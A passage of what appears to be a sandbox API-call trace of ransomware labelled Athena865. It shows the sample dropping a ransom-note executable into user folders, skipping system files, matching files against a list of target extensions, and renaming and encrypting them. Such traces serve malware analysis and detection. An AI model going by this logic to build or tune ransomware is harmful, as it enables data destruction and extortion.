returned 7 [0053.745] lstrcpyW (in: lpString1=0x241e8aa, lpString2="History" | out: lpString1="History") returned="History" [0053.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7d0 [0053.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502428 [0053.746] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0053.746] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0053.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.751] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.751] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.751] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2=".") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="..") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="windows") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="bootmgr") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="temp") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="pagefile.sys") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="boot") returned 1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="ids.txt") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="perflogs") returned -1 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2="MSBuild") returned -1 [0053.751] lstrlenW (lpString="IconCache.db") returned 12 [0053.751] lstrcpyW (in: lpString1=0x241e8aa, lpString2="IconCache.db" | out: lpString1="IconCache.db") returned="IconCache.db" [0053.751] lstrlenW (lpString="IconCache.db") returned 12 [0053.751] lstrlenW (lpString="Athena865") returned 9 [0053.751] lstrcmpiW (lpString1="nCache.db", lpString2="Athena865") returned 1 [0053.751] lstrlenW (lpString=".dll") returned 4 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2=".dll") returned 1 [0053.751] lstrlenW (lpString=".lnk") returned 4 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2=".lnk") returned 1 [0053.751] lstrlenW (lpString=".ini") returned 4 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2=".ini") returned 1 [0053.751] lstrlenW (lpString=".sys") returned 4 [0053.751] lstrcmpiW (lpString1="IconCache.db", lpString2=".sys") returned 1 [0053.752] lstrlenW (lpString="IconCache.db") returned 12 [0053.752] lstrlenW (lpString="bak") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="bak") returned -1 [0053.752] lstrlenW (lpString="ba_") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="ba_") returned -1 [0053.752] lstrlenW (lpString="dbb") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="dbb") returned -1 [0053.752] lstrlenW (lpString="vmdk") returned 4 [0053.752] lstrcmpiW (lpString1="e.db", lpString2="vmdk") returned -1 [0053.752] lstrlenW (lpString="rar") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="rar") returned -1 [0053.752] lstrlenW (lpString="zip") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="zip") returned -1 [0053.752] lstrlenW (lpString="tgz") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="tgz") returned -1 [0053.752] lstrlenW (lpString="vbox") returned 4 [0053.752] lstrcmpiW (lpString1="e.db", lpString2="vbox") returned -1 [0053.752] lstrlenW (lpString="vdi") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="vdi") returned -1 [0053.752] lstrlenW (lpString="vhd") returned 3 [0053.752] lstrcmpiW (lpString1=".db", lpString2="vhd") returned -1 [0053.752] lstrlenW (lpString="vhdx") returned 4 [0053.752] lstrcmpiW (lpString1="e.db", lpString2="vhdx") returned -1 [0053.752] lstrlenW (lpString="avhd") returned 4 [0053.752] lstrcmpiW (lpString1="e.db", lpString2="avhd") returned 1 [0053.752] lstrlenW (lpString="db") returned 2 [0053.752] lstrcmpiW (lpString1="db", lpString2="db") returned 0 [0053.752] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Local Settings\\IconCache.db.Athena865") returned 71 [0053.752] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Local Settings\\IconCache.db" (normalized: "c:\\documents and settings\\default\\local settings\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\IconCache.db.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\iconcache.db.athena865"), dwFlags=0x1) returned 1 [0053.753] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\IconCache.db.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\iconcache.db.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.753] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=776176) returned 1 [0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.754] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.754] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.754] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.755] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdaf0, lpName=0x0) returned 0x17c [0053.756] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbdaf0) returned 0x2d50000 [0053.790] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.791] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.791] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ca80 [0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ca80 | out: hHeap=0x4f0000) returned 1 [0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.792] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0053.798] CloseHandle (hObject=0x17c) returned 1 [0053.798] CloseHandle (hObject=0x154) returned 1 [0053.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.802] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0053.802] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0053.802] lstrlenW (lpString="Microsoft") returned 9 [0053.802] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0053.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad98 [0053.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x5024a8 [0053.803] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0053.803] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0053.803] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0053.805] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0053.805] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1 [0053.805] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1 [0053.805] lstrlenW (lpString="Temporary Internet Files") returned 24 [0053.805] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0053.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52adb0 [0053.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x52ca80 [0053.806] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0053.806] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0053.806] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.811] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0053.811] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.811] ReleaseMutex (hMutex=0xec) returned 1 [0053.811] CloseHandle (hObject=0xec) returned 1 [0053.811] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Music" | out: lpString1="C:\\Documents and Settings\\Default\\Music") returned="C:\\Documents and Settings\\Default\\Music" [0053.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516058 | out: hHeap=0x4f0000) returned 1 [0053.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cbd0 | out: hHeap=0x4f0000) returned 1 [0053.812] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Music") returned 39 [0053.812] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\253413779F440D24F57283951030A5DD") returned 0xec [0053.812] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.812] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Music" | out: lpString1="C:\\Documents and Settings\\Default\\Music") returned="C:\\Documents and Settings\\Default\\Music" [0053.812] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.812] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.812] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.812] GetLastError () returned 0x0 [0053.812] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.813] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.813] CloseHandle (hObject=0xf4) returned 1 [0053.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.813] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.813] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.813] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.813] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.814] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.814] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.814] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.814] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.814] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.814] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.814] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.814] lstrlenW (lpString="desktop.ini") returned 11 [0053.814] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.814] lstrlenW (lpString="desktop.ini") returned 11 [0053.814] lstrlenW (lpString="Athena865") returned 9 [0053.814] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.814] lstrlenW (lpString=".dll") returned 4 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.814] lstrlenW (lpString=".lnk") returned 4 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.814] lstrlenW (lpString=".ini") returned 4 [0053.814] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.814] lstrlenW (lpString=".sys") returned 4 [0053.815] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.815] lstrlenW (lpString="desktop.ini") returned 11 [0053.815] lstrlenW (lpString="bak") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.815] lstrlenW (lpString="ba_") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.815] lstrlenW (lpString="dbb") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.815] lstrlenW (lpString="vmdk") returned 4 [0053.815] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.815] lstrlenW (lpString="rar") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.815] lstrlenW (lpString="zip") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.815] lstrlenW (lpString="tgz") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.815] lstrlenW (lpString="vbox") returned 4 [0053.815] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.815] lstrlenW (lpString="vdi") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.815] lstrlenW (lpString="vhd") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.815] lstrlenW (lpString="vhdx") returned 4 [0053.815] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.815] lstrlenW (lpString="avhd") returned 4 [0053.815] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.815] lstrlenW (lpString="db") returned 2 [0053.815] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.815] lstrlenW (lpString="db2") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.815] lstrlenW (lpString="db3") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.815] lstrlenW (lpString="dbf") returned 3 [0053.815] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.816] lstrlenW (lpString="mdf") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.816] lstrlenW (lpString="mdb") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.816] lstrlenW (lpString="sql") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.816] lstrlenW (lpString="sqlite") returned 6 [0053.816] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.816] lstrlenW (lpString="sqlite3") returned 7 [0053.816] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.816] lstrlenW (lpString="sqlitedb") returned 8 [0053.816] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.816] lstrlenW (lpString="xml") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.816] lstrlenW (lpString="$er") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.816] lstrlenW (lpString="4dd") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.816] lstrlenW (lpString="4dl") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.816] lstrlenW (lpString="^^^") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.816] lstrlenW (lpString="abs") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.816] lstrlenW (lpString="abx") returned 3 [0053.816] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.816] lstrlenW (lpString="accdb") returned 5 [0053.816] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.816] lstrlenW (lpString="accdc") returned 5 